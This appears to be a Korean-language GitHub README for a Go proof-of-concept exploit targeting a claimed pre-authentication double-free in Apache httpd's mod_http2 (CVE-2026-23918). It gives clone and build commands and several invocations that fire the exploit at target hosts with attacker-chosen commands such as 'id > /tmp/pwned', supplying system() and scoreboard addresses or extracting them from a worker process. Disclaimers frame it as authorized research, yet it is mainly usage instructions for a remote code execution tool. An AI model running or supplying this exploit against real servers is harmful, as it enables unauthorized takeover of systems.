
Apache httpd mod_http2 스트림 정리 과정의 double-free로 인한 사전 인증(pre-auth) RCE
이 저장소는 mod_http2가 포함된 Apache httpd에 영향을 미치는 인증 전(pre-authentication) 메모리 손상 시나리오를 위한 Go로 작성된 개념 증명(PoC) 구현을 포함합니다. 이 저장소의 코드는 취약한 대상을 상대로 스프레이 앤 트리거(spray-and-trigger) 방식을 시연하며, 승인된 보안 연구, 테스트 및 방어적 분석을 위해 제공됩니다.
이 프로젝트는 CVE-2026-23918에 대한 개념 증명 익스플로잇에 초점을 맞추며, exploit_poc.go에 단일 파일 구현을 제공합니다. 이 프로그램은 다음을 수행합니다:
이 저장소는 제3자 시스템에 대한 무단 사용을 위한 것이 아닙니다.
PoC를 빌드하거나 실행하기 전에 다음 사항이 준비되어 있는지 확인하세요:
다음 명령으로 바이너리를 빌드합니다:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
그러면 프로젝트 루트에 exploit이라는 실행 파일이 생성됩니다.


PoC는 두 가지 작동 모드를 지원합니다:
이 모드는 루트 접근 권한이 필요하며, 대상 Apache 워커 프로세스에서 필요한 메모리 주소를 자동으로 추출합니다.
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
이 모드에서는 system 함수와 스코어보드 요청 슬롯의 주소를 수동으로 제공해야 합니다.
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
주요 옵션은 다음과 같습니다:
--host - 대상 호스트 이름 또는 IP 주소--port - 대상 포트 (기본값: 443)--workers - 스프레이 워커 스레드 수 (기본값: 32)--cmd - 대상에서 실행할 명령--pid - 자동 메모리 주소 추출을 위한 Apache 워커 프로세스 ID--system - 수동 모드에서 system 심볼의 주소--scoreboard - 수동 모드에서 스코어보드 요청 슬롯의 주소sudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
이 저장소는 교육 목적과 방어적 보안 평가를 위해 제공됩니다. 통제되고 승인된 환경 외부에서의 사용은 권장되지 않으며, 해당 법률 또는 정책을 위반할 수 있습니다.